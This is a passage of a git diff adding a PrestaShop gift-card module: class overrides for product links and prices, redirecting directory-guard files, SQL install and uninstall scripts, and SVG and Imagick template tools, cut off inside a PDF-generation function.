TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +class Link extends LinkCore { + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + + /** + * Create a link to a product + * + * @param mixed $product + * Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $ean13 + * @param string $category + * @param int $id_lang + * @param int $id_shop + * (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa + * ID product attribute + * @return string + */ + public function getProductLink($product, $alias = null, $category = null, $ean13 = null, $id_lang = null, $id_shop = null, $ipa = 0, $force_routes = false) + { + $giftcard = Module::getInstanceByName ( 'giftcard' ); + if ($giftcard && $giftcard->active) + { + if (! is_object ( $product )) + { + if (is_array ( $product ) && isset ( $product['id_product'] )) + $id_product = $product['id_product']; + elseif ((int)$product) + $id_product = (int)$product; + } + else + $id_product = $product->id; + if ((int)$id_product > 0) + { + if ($giftcard->isGiftCard ( $id_product )) + { + $params = array (); + $params['id_product'] = $id_product; + return ($this->getModuleLink ( 'giftcard', 'choicegiftcard', $params )); + } + } + } + return (parent::getProductLink ( $product, $alias, $category, $ean13, $id_lang, $id_shop, $ipa, $force_routes )); + } +} + diff --git a/modules/giftcard/override/classes/Product.php b/modules/giftcard/override/classes/Product.php new file mode 100755 index 0000000..29dd1f5 --- /dev/null +++ b/modules/giftcard/override/classes/Product.php @@ -0,0 +1,57 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ +class Product extends ProductCore { + + /** + * Get product price + * + * @param integer $id_product Product id + * @param boolean $usetax With taxes or not (optional) + * @param integer $id_product_attribute Product attribute id (optional). + * If set to false, do not apply the combination price impact. NULL does apply the default combination price impact. + * @param integer $decimals Number of decimals (optional) + * @param integer $divisor Useful when paying many time without fees (optional) + * @param boolean $only_reduc Returns only the reduction amount + * @param boolean $usereduc Set if the returned amount will include reduction + * @param integer $quantity Required for quantity discount application (default value: 1) + * @param boolean $forceAssociatedTax DEPRECATED - NOT USED Force to apply the associated tax. Only works when the parameter $usetax is true + * @param integer $id_customer Customer ID (for customer group reduction) + * @param integer $id_cart Cart ID. Required when the cookie is not accessible (e.g., inside a payment module, a cron task...) + * @param integer $id_address Customer address ID. Required for price (tax included) calculation regarding the guest localization + * @param variable_reference $specificPriceOutput. + * If a specific price applies regarding the previous parameters, this variable is filled with the corresponding SpecificPrice object + * @param boolean $with_ecotax insert ecotax in price output. + * @return float Product price + */ + public static function getPriceStatic($id_product, $usetax = true, $id_product_attribute = null, $decimals = 6, $divisor = null, $only_reduc = false, $usereduc = true, $quantity = 1, $force_associated_tax = false, $id_customer = null, $id_cart = null, $id_address = null, &$specific_price_output = null, $with_ecotax = true, $use_group_reduction = true, Context $context = null, $use_customer_price = true) + { + $giftcard = Module::getInstanceByName('giftcard'); + if ($giftcard && $giftcard->active) + { + if ((int)$id_product > 0) + { + if ($giftcard->isGiftCard($id_product)) + { + return ((float)GiftCardProduct::getAmount($id_product)); + } + } + } + return (parent::getPriceStatic($id_product, $usetax, $id_product_attribute, $decimals, $divisor, $only_reduc, $usereduc, $quantity, $force_associated_tax, $id_customer, $id_cart, $id_address, $specific_price_output, $with_ecotax, $use_group_reduction, $context, $use_customer_price)); + } +} diff --git a/modules/giftcard/override/classes/index.php b/modules/giftcard/override/classes/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/override/classes/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/override/index.php b/modules/giftcard/override/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/override/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/pdf/1fc68aa37be2d38b6c1829a38e7426d1.jpg b/modules/giftcard/pdf/1fc68aa37be2d38b6c1829a38e7426d1.jpg new file mode 100755 index 0000000..240e9c3 Binary files /dev/null and b/modules/giftcard/pdf/1fc68aa37be2d38b6c1829a38e7426d1.jpg differ diff --git a/modules/giftcard/pdf/22ebf4444be77e34cf74753d50f51e8d.jpg b/modules/giftcard/pdf/22ebf4444be77e34cf74753d50f51e8d.jpg new file mode 100755 index 0000000..1807ec0 Binary files /dev/null and b/modules/giftcard/pdf/22ebf4444be77e34cf74753d50f51e8d.jpg differ diff --git a/modules/giftcard/pdf/ac3c107efbc3fde0f397d08ebf4f2f29.jpg b/modules/giftcard/pdf/ac3c107efbc3fde0f397d08ebf4f2f29.jpg new file mode 100755 index 0000000..60418df Binary files /dev/null and b/modules/giftcard/pdf/ac3c107efbc3fde0f397d08ebf4f2f29.jpg differ diff --git a/modules/giftcard/pdf/d2e2fcafa5ab7732a07448b74e10426e.jpg b/modules/giftcard/pdf/d2e2fcafa5ab7732a07448b74e10426e.jpg new file mode 100755 index 0000000..1807ec0 Binary files /dev/null and b/modules/giftcard/pdf/d2e2fcafa5ab7732a07448b74e10426e.jpg differ diff --git a/modules/giftcard/pdf/ebcde4661d1e151431242f251901946e.jpg b/modules/giftcard/pdf/ebcde4661d1e151431242f251901946e.jpg new file mode 100755 index 0000000..1807ec0 Binary files /dev/null and b/modules/giftcard/pdf/ebcde4661d1e151431242f251901946e.jpg differ diff --git a/modules/giftcard/pdf/index.php b/modules/giftcard/pdf/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/pdf/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/sql/index.php b/modules/giftcard/sql/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/sql/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/sql/sql-install.php b/modules/giftcard/sql/sql-install.php new file mode 100755 index 0000000..9597b49 --- /dev/null +++ b/modules/giftcard/sql/sql-install.php @@ -0,0 +1,131 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +$sql = array(); +$sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardproduct` ( + `id_product` int(10) NOT NULL, + `period_val` int(3) NOT NULL, + `amount` decimal(20,6) NOT NULL DEFAULT \'0.000000\', + `id_customization_field_lastname` int(10) NOT NULL, + `id_customization_field_from` int(10) NOT NULL, + `id_customization_field_mailto` int(10) NOT NULL, + `id_customization_field_message` int(10) NOT NULL, + `id_currency` int(10) NOT NULL, + `id_customization_field_deliverydate` int(10) NOT NULL, + `id_customization_field_template` int(10) NOT NULL, + `id_customization_field_image` int(10) NOT NULL, + `isdefaultgiftcard` tinyint(1) NOT NULL DEFAULT \'0\', + `cr_free_shipping` tinyint(1) NOT NULL DEFAULT \'0\', + `cr_partial_use` tinyint(1) NOT NULL DEFAULT \'1\', +PRIMARY KEY (`id_product`) +) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'; +$sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardorder` ( + `id_gift_card_order` int(10) NOT NULL AUTO_INCREMENT, + `id_product` int(10) NOT NULL, + `customer_mail` varchar(128) NOT NULL, + `to_mail` varchar(128) DEFAULT NULL, + `lastname` varchar(128) NOT NULL, + `from` varchar(128) DEFAULT NULL, + `id_order` int(10) NOT NULL, + `id_currency` int(10) NOT NULL, + `quantity` int(10) NOT NULL, + `discountcode` varchar(255) DEFAULT NULL, + `status` varchar(15) NOT NULL, + `message` varchar(255) DEFAULT NULL, + `id_lang` int(10) NOT NULL, + `id_cart_rule` int(10) DEFAULT NULL, + `price` decimal(20,6) NOT NULL, + `date_add` datetime NOT NULL, + `date_upd` datetime NOT NULL, + `info` text, + `sended` tinyint(1) DEFAULT \'0\', + `receptmode` tinyint(1) DEFAULT \'0\', + `period_val` int(3) NOT NULL DEFAULT \'0\', + `delivery_date` date DEFAULT NULL, + `id_gift_card_template` int(10) DEFAULT NULL, + `id_customization` int(10) DEFAULT NULL, +PRIMARY KEY (`id_gift_card_order`) +) ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8'; + + + +$sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardtemplate` ( + `id_gift_card_template` int(11) NOT NULL AUTO_INCREMENT, + `active` tinyint(1) NOT NULL DEFAULT \'0\', + `id_lang_display` int(10) NOT NULL, + `issvg` tinyint(1) NOT NULL, + `isdefault` tinyint(1) NOT NULL DEFAULT \'0\', + `date_add` datetime NOT NULL, + `date_upd` datetime NOT NULL, + `var_color1` varchar(32) DEFAULT NULL, + `var_color2` varchar(32) DEFAULT NULL, + `var_color3` varchar(32) DEFAULT NULL, + `var_color4` varchar(32) DEFAULT NULL, + `var_color5` varchar(32) DEFAULT NULL, + `var_color6` varchar(32) DEFAULT NULL, + `var_color7` varchar(32) DEFAULT NULL, + `var_color8` varchar(32) DEFAULT NULL, + `var_color9` varchar(32) DEFAULT NULL, + `var_color10` varchar(32) DEFAULT NULL, + `var_imgpath1` varchar(155) DEFAULT NULL, + `var_imgpath2` varchar(155) DEFAULT NULL, + `var_code_default` varchar(155) DEFAULT NULL, + `var_price_default` decimal(20,6) DEFAULT NULL, +PRIMARY KEY (`id_gift_card_template`) +) ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8'; + +$sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardtemplate_lang`( + `id_gift_card_template` int(10) NOT NULL, + `id_lang` int(10) NOT NULL, + `name` varchar(128) NOT NULL, + `var_text1` varchar(255) DEFAULT NULL, + `var_text2` varchar(255) DEFAULT NULL, + `var_text3` varchar(255) DEFAULT NULL, + `var_text4` varchar(255) DEFAULT NULL, + `var_text5` varchar(255) DEFAULT NULL, + `var_text6` varchar(255) DEFAULT NULL, + `var_text7` varchar(255) DEFAULT NULL, + `var_text8` varchar(255) DEFAULT NULL, + `var_text9` varchar(255) DEFAULT NULL, + `var_text10` varchar(255) DEFAULT NULL, +PRIMARY KEY (`id_gift_card_template`,`id_lang`) +) ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8'; + +$sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardtag` ( + `id_gift_card_tag` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_lang` int(10) unsigned NOT NULL, + `name` varchar(32) NOT NULL, +PRIMARY KEY (`id_gift_card_tag`) +) ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8'; + +$sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardtemplate_tag` ( + `id_gift_card_tag` int(10) NOT NULL, + `id_gift_card_template` int(10) NOT NULL, +PRIMARY KEY (`id_gift_card_tag`,`id_gift_card_template`) +) ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8'; + +$sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'giftcardtemplate_shop` ( + `id_gift_card_template` int(11) unsigned NOT NULL, + `id_shop` int(11) unsigned NOT NULL, +PRIMARY KEY (`id_gift_card_template`,`id_shop`), +KEY `id_shop` (`id_shop`) +) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'; + + + diff --git a/modules/giftcard/sql/sql-uninstall.php b/modules/giftcard/sql/sql-uninstall.php new file mode 100755 index 0000000..544fb9f --- /dev/null +++ b/modules/giftcard/sql/sql-uninstall.php @@ -0,0 +1,29 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +$sql = array(); +$sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.'giftcardproduct`;'; +$sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.'giftcardorder`;'; +$sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.'giftcardtemplate`;'; +$sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.'giftcardtemplate_shop`;'; +$sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.'giftcardtemplate_lang`;'; +$sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.'giftcardtag`;'; +$sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.'giftcardtemplate_tag`;'; + + diff --git a/modules/giftcard/tools/GiftCardTools.php b/modules/giftcard/tools/GiftCardTools.php new file mode 100755 index 0000000..cfe3b9d --- /dev/null +++ b/modules/giftcard/tools/GiftCardTools.php @@ -0,0 +1,856 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +set_time_limit ( 1200 ); +class GiftCardTools { + /** + * ** + * This function permit to fixed the price if currency rate change + */ + public static function addFixedPrice($id_product, $id_currency, $price) + { + $specific_price = new SpecificPrice (); + $specific_price->id_shop = 0; + $specific_price->id_country = 0; + $specific_price->id_group = 0; + $specific_price->id_customer = 0; + $specific_price->id_product = $id_product; + $specific_price->id_product_attribute = 0; + $specific_price->id_currency = $id_currency; + $specific_price->price = $price; + $specific_price->from_quantity = 0; + $specific_price->reduction = 0; + $specific_price->reduction_type = 'amount'; + $specific_price->from = '0000-00-00 00:00:00'; + $specific_price->to = '0000-00-00 00:00:00'; + return ($specific_price->add ()); + } + /** + * + * @param string $giftCardTemplate + * @return boolean multitype:unknown + */ + public static function getAvailableVars($giftCardTemplate = null) + { + $availablevars = array (); + $id_gift_card_template = 0; + if (! is_object ( $giftCardTemplate )) + { + if (is_array ( $giftCardTemplate ) && isset ( $giftCardTemplate['id_gift_card_template'] )) + $id_gift_card_template = $giftCardTemplate['id_gift_card_template']; + elseif ((int)$giftCardTemplate) + $id_gift_card_template = (int)$giftCardTemplate; + } + if ((int)$id_gift_card_template > 0) + $giftCardTemplate = new GiftCardTemplate ( $id_gift_card_template ); + elseif (! is_object ( $giftCardTemplate )) + return false; + $template_file_path = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'.$giftCardTemplate->id.'.svg'; + if (! file_exists ( $template_file_path )) + return false; + + $xml = simplexml_load_string ( Tools::file_get_contents ( $template_file_path ) ); + if ($text = self::getTextAvailable ( $xml, 'giftcard_price' )) + $availablevars['giftcard_price'] = $text; + if ($text = self::getTextAvailable ( $xml, 'giftcard_code' )) + $availablevars['giftcard_code'] = $text; + for ($i = 1; $i <= 10; $i ++) + if ($text = self::getTextAvailable ( $xml, 'var_text'.$i )) + $availablevars['var_text'.$i] = $text; + for ($i = 1; $i <= 10; $i ++) + if ($color = self::getColorAvailable ( $xml, 'var_color'.$i )) + $availablevars['var_color'.$i] = $color; + return ($availablevars); + } + public static function getTextAvailable($xml, $id) + { + $svg_text_arr = $xml->xpath ( '//svg:tspan[@id="'.$id.'"]' ); + if (isset ( $svg_text_arr ) && is_array ( $svg_text_arr ) && count ( $svg_text_arr ) > 0) + return ((string)$svg_text_arr[0]); + $svg_text_arr = $xml->xpath ( '//svg:text[@id="'.$id.'"]' ); + if (isset ( $svg_text_arr ) && is_array ( $svg_text_arr ) && count ( $svg_text_arr ) > 0) + { + if (isset ( $svg_text_arr[0]->tspan )) + return ((string)$svg_text_arr[0]->tspan); + else + return ((string)$svg_text_arr[0]); + } + return (false); + } + public static function getColorAvailable($xml, $id) + { + $svg_arr = $xml->xpath ( '//svg:path[@id="'.$id.'"] | //svg:g[@id="'.$id.'"] | //svg:rect[@id="'.$id.'"]' ); + if (isset ( $svg_arr ) && is_array ( $svg_arr ) && count ( $svg_arr ) > 0) + { + $svg_color_attributes = $svg_arr[0]->attributes (); + if (isset ( $svg_color_attributes ) && isset ( $svg_color_attributes['style'] )) + { + $style = $svg_color_attributes['style']; + $fillcolorpatern = '/fill:(#.{6})/'; + $resultmatch = array (); + preg_match ( $fillcolorpatern, $style, $resultmatch ); + if (isset ( $resultmatch[1] )) + return $resultmatch[1]; + } + } + return (false); + } + /** + * + * @param string $giftCardTemplate + * @param unknown $params + * @param number $id_lang + * @return boolean + */ + public static function buildTemplateSvgV2($giftCardTemplate = null, $params = array(), $id_lang = 0) + { + if ($id_lang == 0) + $id_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + $id_gift_card_template = 0; + if (! is_object ( $giftCardTemplate )) + { + if (is_array ( $giftCardTemplate ) && isset ( $giftCardTemplate['id_gift_card_template'] )) + $id_gift_card_template = $giftCardTemplate['id_gift_card_template']; + elseif ((int)$giftCardTemplate) + $id_gift_card_template = (int)$giftCardTemplate; + } + if ((int)$id_gift_card_template > 0) + $giftCardTemplate = new GiftCardTemplate ( $id_gift_card_template ); + elseif (! is_object ( $giftCardTemplate )) + return false; + /* Load svg to xml */ + $template_file_path = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'.$giftCardTemplate->id.'.svg'; + if (! file_exists ( $template_file_path )) + return false; + /* Initialisation des variables */ + $price = 0; + if (isset ( $params['price'] ) && ! empty ( $params['price'] )) + $price = $params['price']; + else + $price = round ( (float)$giftCardTemplate->var_price_default ); + $code = ''; + if (isset ( $params['code'] ) && ! empty ( $params['code'] )) + $code = $params['code']; + else + $code = $giftCardTemplate->var_code_default; + + $xml = simplexml_load_string ( Tools::file_get_contents ( $template_file_path ) ); + + /* Update price */ + $svgpricearr = $xml->xpath ( '//svg:tspan[@id="giftcard_price"] | //svg:text[@id="giftcard_price"]' ); + if (isset ( $svgpricearr ) && is_array ( $svgpricearr ) && count ( $svgpricearr ) > 0) + { + if ($price > 0) + $svgpricearr[0][0] = $price; + else + $svgpricearr[0][0] = ''; + } + + /* Update discount code */ + $svgcodearr = $xml->xpath ( '//svg:tspan[@id="giftcard_code"] | //svg:text[@id="giftcard_code"]' ); + if (isset ( $svgcodearr ) && is_array ( $svgcodearr ) && count ( $svgcodearr ) > 0) + $svgcodearr[0][0] = $code; + + /* Update colors */ + for ($i = 1; $i <= 10; $i ++) + { + $var = 'var_color'.$i; + if (isset ( $giftCardTemplate->$var )) + self::replaceVarColor ( $xml, $var, $giftCardTemplate->$var ); + } + /* Update text */ + for ($i = 1; $i <= 10; $i ++) + { + $var = 'var_text'.$i; + $textlangs = null; + if (isset ( $giftCardTemplate->$var )) + $textlangs = $giftCardTemplate->$var; + if (isset ( $textlangs ) && isset ( $textlangs[$id_lang] )) + self::replaceVarText ( $xml, $var, $textlangs[$id_lang] ); + } + return ($xml->asXml ()); + } + public static function replaceVarText($xml, $id, $value = '') + { + $svg_text_arr = $xml->xpath ( '//svg:tspan[@id="'.$id.'"]' ); + if (isset ( $svg_text_arr ) && is_array ( $svg_text_arr ) && count ( $svg_text_arr ) > 0) + $svg_text_arr[0][0] = $value; + $svg_text_arr = $xml->xpath ( '//svg:text[@id="'.$id.'"]' ); + if (isset ( $svg_text_arr ) && is_array ( $svg_text_arr ) && count ( $svg_text_arr ) > 0) + { + if (isset ( $svg_text_arr[0]->tspan )) + $svg_text_arr[0]->tspan = $value; + else + $svg_text_arr[0][0] = $value; + } + } + public static function replaceVarColor($xml, $id, $color = '') + { + $svg_color_arr = $xml->xpath ( '//svg:path[@id="'.$id.'"] | //svg:g[@id="'.$id.'"]' ); + if (isset ( $svg_color_arr ) && is_array ( $svg_color_arr ) && count ( $svg_color_arr ) > 0) + { + $svg_color_attributes = $svg_color_arr[0]->attributes (); + if (isset ( $svg_color_attributes ) && isset ( $svg_color_attributes['style'] )) + { + $oldstyle = (string)$svg_color_attributes['style']; + $color = str_replace ( '#', '', $color ); + $newstyle = preg_replace ( '/fill:#(.{6})/', 'fill:#'.$color, $oldstyle ); + $svg_color_attributes['style'] = $newstyle; + } + } + } + /** + * + * @param string $templatefile + * @param number $price + * @param string $discountCode + * @param string $color + * @param string $shopText + */ + public static function buildTemplateSvg($templatefile, $price = 0, $discountCode = '', $color = '', $shopText) + { + /* Load svg to xml */ + $template_dir = _PS_ROOT_DIR_.'/modules/giftcard/img/templates/'; + $xml = simplexml_load_string ( Tools::file_get_contents ( $template_dir.$templatefile ) ); + + /* Update price */ + $svgpricearr = $xml->xpath ( '//svg:tspan[@id="giftcard_price"]' ); + if (isset ( $svgpricearr ) && is_array ( $svgpricearr ) && count ( $svgpricearr ) > 0) + $svgpricearr[0][0] = $price; + // $xml->xpath('//svg:tspan[@id="giftcard_price"]')[0]=$price; + + /* Update discount code */ + $svgcodearr = $xml->xpath ( '//svg:tspan[@id="giftcard_code"]' ); + if (isset ( $svgcodearr ) && is_array ( $svgcodearr ) && count ( $svgcodearr ) > 0) + $svgcodearr[0][0] = $discountCode; + + /* Update text shop */ + $svgshoptextarr = $xml->xpath ( '//svg:tspan[@id="giftcard_shop_text"]' ); + if (isset ( $svgshoptextarr ) && is_array ( $svgshoptextarr ) && count ( $svgshoptextarr ) > 0) + $svgshoptextarr[0][0] = $shopText; + /* Update backgroung color */ + $svg_bgc_arr = $xml->xpath ( '//svg:path[@id="giftcard_background"]' ); + if (isset ( $svg_bgc_arr ) && is_array ( $svg_bgc_arr ) && count ( $svg_bgc_arr ) > 0) + { + $svg_bgc_attributes = $svg_bgc_arr[0]->attributes (); + if (isset ( $svg_bgc_attributes ) && isset ( $svg_bgc_attributes['style'] )) + { + $oldstyle = $svg_bgc_attributes['style']; + $color = str_replace ( '#', '', $color ); + $newstyle = preg_replace ( '/fill:#(.{6})/', 'fill:#'.$color, $oldstyle ); + $svg_bgc_attributes['style'] = $newstyle; + } + } + return ($xml->asXml ()); + } + + /** + * + * @param string $svg + * @param string $file_dest + * @param number $ratio + * @param string $width + * @param string $height + * @param string $format + * @return boolean + */ + public static function resizeImageWithTemplate($svg, $file_dest, $ratio = 0, $width = null, $height = null, $format, $res = 100) + { + $template_dir = _PS_ROOT_DIR_.'/modules/giftcard/img/templates/'; + try + { + $im = new Imagick (); + $im->setBackgroundColor ( new ImagickPixel ( 'white' ) ); + // $im->setResolution(100, 100); + + if ((int)$ratio > 0) + { + $im->readImageBlob ( $svg ); + $ratio = (1600 / $im->width); + $im->setResolution ( $ratio * 100, $ratio * 100 ); + $im->readImageBlob ( $svg ); + $im->scaleImage ( 1600, 1200, true ); + // $im->thumbnailImage( $im->width*$ratio, $im->height*$ratio, true,false ); + // $im->setImageResolution(100*$ratio, 100*$ratio); + } + else + { + $im->readImageBlob ( $svg ); + $imageprops = $im->getImageGeometry (); + $ratio = $width / (int)$imageprops['width']; + if ($ratio < 1) + $ratio = 1; + $im->setResolution ( $ratio * $res, $ratio * $res ); + $im->readImageBlob ( $svg ); + $im->scaleImage ( $width, $height, true ); + $imageprops = $im->getImageGeometry (); + $borderheight = ($height - (int)$imageprops['height']); + if ($borderheight > 0) + $im->borderImage ( '#FFFFFF', 0, ($borderheight / 2) ); + /* + * $im->readImageBlob($svg); $width_img=0; $height_img=0; $imageprops = $im->getImageGeometry(); $width_img = $imageprops['width']; $height_img = $imageprops['height']; $ratio = $width/$width_img; if($ratio<1) $ratio = 1; $im->setResolution($ratio*100, $ratio*100); $im->readImageBlob($svg); $im->scaleImage( $width, $height, true ); $borderheight = ($height-$height_img); if($borderheight>0) $im->borderImage('#FFFFFF',0,($borderheight/2)); + */ + + /*$svg = self::svgScaleHack($svg, $width, $height); + $im->readImageBlob($svg);*/ + + } + + $im->setImageFormat ( $format ); + $im->writeImage ( $file_dest ); + $im->clear (); + $im->destroy (); + } catch ( ImagickException $e ) + { + return false; + } + return (true); + } + public static function svgScaleHack($svg, $minWidth, $minHeight) + { + $reW = '/(.*]* width=")([\d.]+px)(.*)/si'; + $reH = '/(.*]* height=")([\d.]+px)(.*)/si'; + preg_match ( $reW, $svg, $mw ); + preg_match ( $reH, $svg, $mh ); + $width = (float)$mw[2]; + $height = (float)$mh[2]; + if (! $width || ! $height) + return false; + + // scale to make width and height big enough + $scale = 1; + if ($width < $minWidth) + $scale = $minWidth / $width; + if ($height < $minHeight) + $scale = max ( $scale, ($minHeight / $height) ); + + $width *= $scale * 2; + $height *= $scale * 2; + + $svg = preg_replace ( $reW, "\${1}{$width}px\${3}", $svg ); + $svg = preg_replace ( $reH, "\${1}{$height}px\${3}", $svg ); + + return $svg; + } + /** + * + * @param array $params + * id_shop,discountcode,price,id_currency,id_gift_card_order,template_color,template_shop_text,template_file,id_lang + * @param string $fileoutput + * @return boolean + */ + public function processGeneratePdf($params, $custom = false, $render = false, $filename = '') + { + + $template_dir = _PS_ROOT_DIR_.'/modules/giftcard/img/templates/'; + // $price=0,$templateimg='',$discountcode='',$from='',$message='',$to=''; + if (isset ( $params ) && is_array ( $params ) && count ( $params ) > 0) + { + $physical_uri = Context::getContext ()->shop->physical_uri.'img/'; + $pdfgenerator = new PDFGiftCard ( (bool)Configuration::get ( 'PS_PDF_USE_CACHE' ) ); 